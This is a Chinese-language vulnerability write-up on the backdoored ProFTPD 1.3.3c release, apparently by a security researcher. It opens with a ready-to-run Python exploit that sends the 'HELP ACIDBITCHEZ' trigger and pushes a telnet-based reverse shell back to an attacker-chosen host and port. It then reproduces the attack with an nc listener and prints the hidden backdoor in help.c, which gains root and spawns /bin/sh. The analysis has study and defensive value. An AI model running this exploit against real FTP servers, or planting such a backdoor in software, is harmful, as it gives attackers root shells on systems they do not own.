漏洞说明
Proftpd-1.3.3c含后门的软件下载我忘了在哪下载的了,百度应该是搜不到,去google试试,我记得是在类似sourceforge下载的。
PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
<span class="ch">#!/usr/bin/python</span> <span class="c1">#coding:utf-8</span> <span class="c1">#author:k0shl</span> <span class="kn">import</span> <span class="nn">socket</span> <span class="kn">import</span> <span class="nn">os</span> <span class="k">def</span> <span class="nf">exp_socket</span><span class="p">(</span><span class="n">RHOST</span><span class="p">,</span><span class="n">s</span><span class="p">):</span> <span class="k">try</span><span class="p">:</span> <span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="n">RHOST</span><span class="p">,</span><span class="mi">21</span><span class="p">))</span> <span class="nb">str</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> <span class="k">print</span> <span class="nb">str</span> <span class="k">return</span> <span class="nb">str</span> <span class="k">except</span> <span class="ne">Exception</span><span class="p">,</span><span class="n">e</span><span class="p">:</span> <span class="k">print</span> <span class="n">e</span> <span class="k">return</span> <span class="mi">0</span> <span class="k">def</span> <span class="nf">exploit</span><span class="p">(</span><span class="n">RHOST</span><span class="p">,</span><span class="n">s</span><span class="p">,</span><span class="n">cmd</span><span class="p">):</span> <span class="k">try</span><span class="p">:</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s1">'HELP ACIDBITCHEZ</span><span class="se">\r\n</span><span class="s1">'</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span> <span class="k">print</span> <span class="s2">"[+]Exploit send ok!"</span> <span class="k">except</span> <span class="ne">Exception</span><span class="p">,</span><span class="n">e</span><span class="p">:</span> <span class="k">print</span> <span class="n">e</span> <span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span> <span class="k">try</span><span class="p">:</span> <span class="k">print</span> <span class="s2">"攻击前请使用nc绑定端口,等待shell连接"</span> <span class="n">LHOST</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s2">"input shell ip:"</span><span class="p">)</span> <span class="n">LPORT</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s2">"input shell port:"</span><span class="p">)</span> <span class="n">RHOST</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s2">"input target ip:"</span><span class="p">)</span> <span class="c1">#LHOST = '172.16.39.141'</span> <span class="c1">#LPORT = '4444'</span> <span class="c1">#RHOST = '172.16.39.137'</span> <span class="k">print</span> <span class="s1">'[+]start connect to </span><span class="si">%s</span><span class="s1">'</span><span class="o">%</span><span class="n">RHOST</span> <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span><span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="n">socket_result</span> <span class="o">=</span> <span class="n">exp_socket</span><span class="p">(</span><span class="n">RHOST</span><span class="p">,</span><span class="n">s</span><span class="p">)</span> <span class="k">if</span> <span class="n">socket_result</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span> <span class="k">if</span> <span class="s1">'220'</span> <span class="ow">in</span> <span class="n">socket_result</span><span class="p">:</span> <span class="k">print</span> <span class="s1">'[+]Try to Exploit'</span> <span class="n">cmd</span> <span class="o">=</span> <span class="s2">"nohup sh -c '(sleep 4184|telnet "</span><span class="o">+</span> <span class="n">LHOST</span> <span class="o">+</span> <span class="s2">" "</span> <span class="o">+</span> <span class="n">LPORT</span> <span class="o">+</span><span class="s2">"|while : ; do sh && break; done 2>&1|telnet "</span><span class="o">+</span><span class="n">LHOST</span> <span class="o">+</span> <span class="s2">" "</span><span class="o">+</span><span class="n">LPORT</span><span class="o">+</span><span class="s2">">/dev/null 2>&1 &)' >/dev/null 2>&1</span><span class="se">\n</span><span class="s2">"</span> <span class="n">exploit</span><span class="p">(</span><span class="n">RHOST</span><span class="p">,</span><span class="n">s</span><span class="p">,</span><span class="n">cmd</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="k">else</span><span class="p">:</span> <span class="k">print</span> <span class="s1">'[-]no vul!'</span> <span class="n">s</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="k">else</span><span class="p">:</span> <span class="k">print</span> <span class="s1">'[-]connect to ip error!'</span> <span class="n">s</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="k">except</span> <span class="ne">Exception</span><span class="p">,</span><span class="n">e</span><span class="p">:</span> <span class="n">s</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="k">print</span> <span class="n">e</span> |
直接运行PoC,指定好回弹shell的ip地址和端口,然后指定好要攻击的proftpd的目标地址,然后运行即可。
漏洞复现
此漏洞是由于proFTPd在HELP参数中预制了一个后门,在用户执行HELP后,help.c的某函数会对HELP命令后的参数进行一次检查,如果与后门参数相同,则会执行一个/bin/sh的shell,使连接用户获得执行权限。下面从漏洞复现到分析讲解整个过程。
首先,运行我提交的poc,并在本地用nc -l -p -vv PORT监听端口,这时候在靶机中利用ps -ef命令可以观察到shell已经被执行。
这时候观察攻击机的nc,发现我在poc中的恶意代码已经执行,将会利用shell执行权限回弹一个shell。
通过wireshark抓包分析一下整个过程。
首先,正常连接到21端口之后,会直接发送一个HELP ACIDBITCHEZ的指令,这个指令发送之后,会获得一个shell的权限,接下来。
将会推送执行反弹shell的命令写入并执行,导致获得目标系统的操作权限。
漏洞分析
问题出现在proFTPd的help.c文件中,在此之前,来看一下mod_core.c中,定义了一个结构体数组。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
static cmdtable core_cmdtab[] = { #if defined(HAVE_REGEX_H) && defined(HAVE_REGCOMP) { PRE_CMD, C_ANY, G_NONE, regex_filters, FALSE, FALSE, CL_NONE }, #endif { PRE_CMD, C_ANY, G_NONE, core_clear_fs,FALSE, FALSE, CL_NONE }, { CMD, C_HELP, G_NONE, core_help, FALSE, FALSE, CL_INFO }, { CMD, C_PORT, G_NONE, core_port, TRUE, FALSE, CL_MISC }, { CMD, C_PASV, G_NONE, core_pasv, TRUE, FALSE, CL_MISC }, { CMD, C_EPRT, G_NONE, core_eprt, TRUE, FALSE, CL_MISC }, { CMD, C_EPSV, G_NONE, core_epsv, TRUE, FALSE, CL_MISC }, { CMD, C_SYST, G_NONE, core_syst, FALSE, FALSE, CL_INFO }, { CMD, C_PWD, G_DIRS, core_pwd, TRUE, FALSE, CL_INFO|CL_DIRS }, { CMD, C_XPWD, G_DIRS, core_pwd, TRUE, FALSE, CL_INFO|CL_DIRS }, { CMD, C_CWD, G_DIRS, core_cwd, TRUE, FALSE, CL_DIRS }, { CMD, C_XCWD, G_DIRS, core_cwd, TRUE, FALSE, CL_DIRS }, { CMD, C_MKD, G_WRITE, core_mkd, TRUE, FALSE, CL_DIRS|CL_WRITE }, { CMD, C_XMKD, G_WRITE, core_mkd, TRUE, FALSE, CL_DIRS|CL_WRITE }, { CMD, C_RMD, G_WRITE, core_rmd, TRUE, FALSE, CL_DIRS|CL_WRITE }, { CMD, C_XRMD, G_WRITE, core_rmd, TRUE, FALSE, CL_DIRS|CL_WRITE }, { CMD, C_CDUP, G_DIRS, core_cdup, TRUE, FALSE, CL_DIRS }, { CMD, C_XCUP, G_DIRS, core_cdup, TRUE, FALSE, CL_DIRS }, { CMD, C_DELE, G_WRITE, core_dele, TRUE, FALSE, CL_WRITE }, { CMD, C_MDTM, G_DIRS, core_mdtm, TRUE, FALSE, CL_INFO }, { CMD, C_RNFR, G_DIRS, core_rnfr, TRUE, FALSE, CL_MISC|CL_WRITE }, { CMD, C_RNTO, G_WRITE, core_rnto, TRUE, FALSE, CL_MISC|CL_WRITE }, { LOG_CMD, C_RNTO, G_NONE, core_rnto_cleanup, TRUE, FALSE, CL_NONE }, { LOG_CMD_ERR, C_RNTO, G_NONE, core_rnto_cleanup, TRUE, FALSE, CL_NONE }, { CMD, C_SIZE, G_READ, core_size, TRUE, FALSE, CL_INFO }, { CMD, C_QUIT, G_NONE, core_quit, FALSE, FALSE, CL_INFO }, { LOG_CMD, C_QUIT, G_NONE, core_log_quit, FALSE, FALSE }, { LOG_CMD_ERR, C_QUIT, G_NONE, core_log_quit, FALSE, FALSE }, { CMD, C_NOOP, G_NONE, core_noop, FALSE, FALSE, CL_MISC }, { CMD, C_FEAT, G_NONE, core_feat, FALSE, FALSE, CL_INFO }, { CMD, C_OPTS, G_NONE, core_opts, FALSE, FALSE, CL_MISC }, { POST_CMD, C_PASS, G_NONE, core_post_pass, FALSE, FALSE }, { 0, NULL } }; |
其中有一行值得关注
1 |
{ CMD, C_HELP, G_NONE, core_help, FALSE, FALSE, CL_INFO } |
关于C_HELP的定义在ftp.h文件中。
1 |
#define C_HELP "HELP" /* Help */ |
这是HELP命令的一个定义,接下来程序会对cmd命令进行一次判断,如果符合C_HELP的判断,就会执行core_help函数,其中对help命令的格式定义是这样的。
1 |
pr_help_add(C_HELP, "[<sp> command]", TRUE) |
command就是HELP后面要跟的命令,接下来来看一下core_help函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
MODRET core_help(cmd_rec *cmd) { if (cmd->argc == 1) { pr_help_add_response(cmd, NULL); } else { char *cp; for (cp = cmd->argv[1]; *cp; cp++) *cp = toupper(*cp); if (strcasecmp(cmd->argv[1], "SITE") == 0) return pr_module_call(&site_module, site_dispatch, cmd); if (pr_help_add_response(cmd, cmd->argv[1]) == 0) return PR_HANDLED(cmd); pr_response_add_err(R_502, _("Unknown command '%s'"), cmd->argv[1]); return PR_ERROR(cmd); } return PR_HANDLED(cmd); } |
重点在于if语句中
1 2 |
if (pr_help_add_response(cmd, cmd->argv[1]) == 0) return PR_HANDLED(cmd); |
这里会将cmd的参数传入pr_help_add_response函数,这个函数主要用于处理HELP函数的参数,而后门就在这个函数中,函数位于help.c中,来看一下这个函数的内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 |
void pr_help_add(const char *cmd, const char *syntax, int impl) { struct help_rec *help; if (!cmd || !syntax) return; /* If no list has been allocated, create one. */ if (!help_pool) { help_pool = make_sub_pool(permanent_pool); pr_pool_tag(help_pool, "Help Pool"); help_list = make_array(help_pool, 0, sizeof(struct help_rec)); } /* Make sure that the command being added isn't already in the list. * However, if it _is_ already in the list, but it's marked as not * implemented, _and_ the given impl flag is TRUE, then handle it * accordingly. */ if (help_list->nelts > 0) { register unsigned int i = 0; struct help_rec *helps = help_list->elts; for (i = 0; i < help_list->nelts; i++) if (strcmp(helps[i].cmd, cmd) == 0) { if (helps[i].impl == FALSE && impl == TRUE) { helps[i].impl = impl; } return; } } help = push_array(help_list); help->cmd = pstrdup(help_pool, cmd); help->syntax = pstrdup(help_pool, syntax); help->impl = impl; } int pr_help_add_response(cmd_rec *cmd, const char *target) { if (help_list) { register unsigned int i; struct help_rec *helps = help_list->elts; char *outa[8], *outstr; char buf[9] = {'\0'}; int col = 0; if (!target) { pr_response_add(R_214, _("The following commands are recognized (* =>'s unimplemented):")); memset(outa, '\0', sizeof(outa)); for (i = 0; i < help_list->nelts; i++) { outstr = ""; if (helps[i].impl) outa[col++] = (char *) helps[i].cmd; else outa[col++] = pstrcat(cmd->tmp_pool, helps[i].cmd, "*", NULL); /* 8 rows */ if ((i + 1) % 8 == 0 || helps[i+1].cmd == NULL) { register unsigned int j; for (j = 0; j < 8; j++) { if (outa[j]) { snprintf(buf, sizeof(buf), "%-8s", outa[j]); buf[sizeof(buf)-1] = '\0'; outstr = pstrcat(cmd->tmp_pool, outstr, buf, NULL); } else break; } if (*outstr) pr_response_add(R_DUP, "%s", outstr); memset(outa, '\0', sizeof(outa)); col = 0; outstr = ""; } } pr_response_add(R_DUP, _("Direct comments to %s"), cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin"); } else { if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); } /* List the syntax for the given target command. */ for (i = 0; i < help_list->nelts; i++) { if (strcasecmp(helps[i].cmd, target) == 0) { pr_response_add(R_214, "Syntax: %s %s", helps[i].cmd, helps[i].syntax); return 0; } } } errno = ENOENT; return -1; } errno = ENOENT; return -1; } |
同样在这个函数的结尾部分,有一处“多出来”的if语句判断
1 2 3 4 5 6 7 8 |
if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); } /* List the syntax for the given target command. */ for (i = 0; i < help_list->nelts; i++) { if (strcasecmp(helps[i].cmd, target) == 0) { pr_response_add(R_214, "Syntax: %s %s", helps[i].cmd, helps[i].syntax); return 0; } |
这里会判断target的值,而target的值就是传入的参数,如果这个参数等于ACIDBITCHEZ的时候,就会执行/bin/sh,开放shell,导致可以执行系统命令,获得系统执行权限。